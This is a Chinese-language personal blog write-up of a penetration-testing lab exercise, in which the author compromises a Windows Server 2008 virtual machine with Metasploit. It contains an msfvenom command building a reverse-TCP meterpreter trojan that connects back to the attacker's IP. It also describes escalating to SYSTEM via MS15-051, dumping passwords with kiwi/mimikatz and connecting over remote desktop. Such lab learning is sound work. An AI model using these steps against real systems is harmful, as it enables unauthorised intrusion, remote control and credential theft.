本文首发于我的个人博客,记录了我在实验室学习渗透测试所做的第三个实验,以此文记录,希望能对您有所帮助。
如果文章哪里有错,请去点击我的个人博客链接进行核对(可能是转移博客时候出错了),也可以在评论区留言告知。
前言
Metasploit
Metasploit是一款开源的渗透测试工具,可以帮助安全员发现漏洞问题,此工具带有的攻击模块可以帮助安全员简单的利用相关的漏洞。
实验目的
本实验通过Metasploit对内网机器进行渗透,并且使用ms15-051进行权限提升,获取Window Server 2008的SYSTEM权限,最后进行远程控制。
实验原理
Metasploit框架使Metasploit具有良好的扩展性,它的控制接口负责发现漏洞、攻击漏洞、提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种管理接口,另外还有命令行工具和一些商业工具等。攻击者可以将漏洞扫描程序的结果导入到Metasploit框架的开源安全工具Armitage中,然后通过Metasploit的模块来确定漏洞。一旦发现了漏洞,攻击者就可以采取一种可行方法攻击系统,通过Shell或启动Metasploit的meterpreter来控制这个系统。这些有效载荷就是在获得本地系统访问后执行的一系列命令。这个过程需要参考一些文档并使用一些数据库技术,在发现漏洞之后开发一种可行的攻击方法,其中有效载荷数据库包含用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很象以前BO2K等工具所具备的功能。
漏洞CVE-2015-1701
受影响的系统:
- Windows Vista
- WIndows Server 2012 R2
- WIndows Server 2012
- WIndows Server 2008 R2
- WIndows Server 2008
- WIndows Server 2003
- WIndows RT 8.1
- Windows RT
- Windows 8.1
- Windows 8
- Windows 7
漏洞成因:Win32.k.sys内核模式驱动程序没有正确处理内存对象,在实现上存在权限提升漏洞
漏洞危害:成功利用此漏洞可使攻击者在内核模式中运行任意代码。
漏洞利用:攻击者必须具有有效的登陆凭证,并且可以本地登录以利用此漏洞。
实验环境
攻击机:Kali Linux
靶机:Windows Server 2008
实验步骤
-
使用msfvenom生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击机IP lport=4444 -f exe > shell.exe
-
安装xampp,并启动。(我安装在了/opt下)
-
把生成的木马挂在服务器上等待靶机下载
在opt/lampp/htdocs/下创建目录shell,提升shell及其所有文件和子目录的权限为所有人可读可写可执行。chmod命令用法。
-
把生成的木马复制到网站目录
-
使用msf的handler模块
-
设置payload及其参数
payload要和木马的payload一致(即windows/meterpreter/reverse_tcp)
-
重新启动网站
不要关闭原来的终端,新建终端,重新启动网站。
-
打开靶机windows server 2008,访问
http://攻击机IP/shell
,下载木马shell.exe(先将该网站加入受信任的站点)。下载完成后,运行。 -
返回攻击机,已成功获取靶机的shell,getuid可查看当前权限
-
使用ms15-051漏洞,进一步获取system更高权限
首先输入backgroud,把会话切换进后台,之后:
-
设置payload及其参数
-
键入
run
以攻击,getuid
以并查看当前权限。攻击成功,并且当前已是SYSTEM用户。靶机的IP地址为192.168.227.130(后面要用)。
-
加载kiwi,获取用户密码
如果是windows server 2003,则加载mimikatz,因为我用的靶机为windows server 2008,因此需要用kiwi。其他系统你可以先加载mimikatz,根据提示选择你要加载什么(下图中,我最先加载的是mimikatz,它提示我应该使用kiwi来代替)。
因为我没有给用户设置密码,所以Password一列均为空(这里其实需要设置密码的,后面会讲到)。
-
远程连接靶机
首先在windows server 2008进行如下设置,允许运行任意版本远程桌面的计算机连接。
然后回到攻击机,新建一个终端,输入
rdesktop 靶机IP
,远程连接靶机。由于rdesktop不支持无密码登录,因此我此时并不能使用用户名zxy登录。所以只能先返回windows,在服务管理器中为用户名为zxy的用户设置密码。
再次返回攻击机,使用rdesktop命令远程连接主机,点击“其他用户”,输入用户名zxy和刚刚设置的密码后,连接成功:
-
成功入侵靶机,查看IP和用户。
至此,实验已全部结束。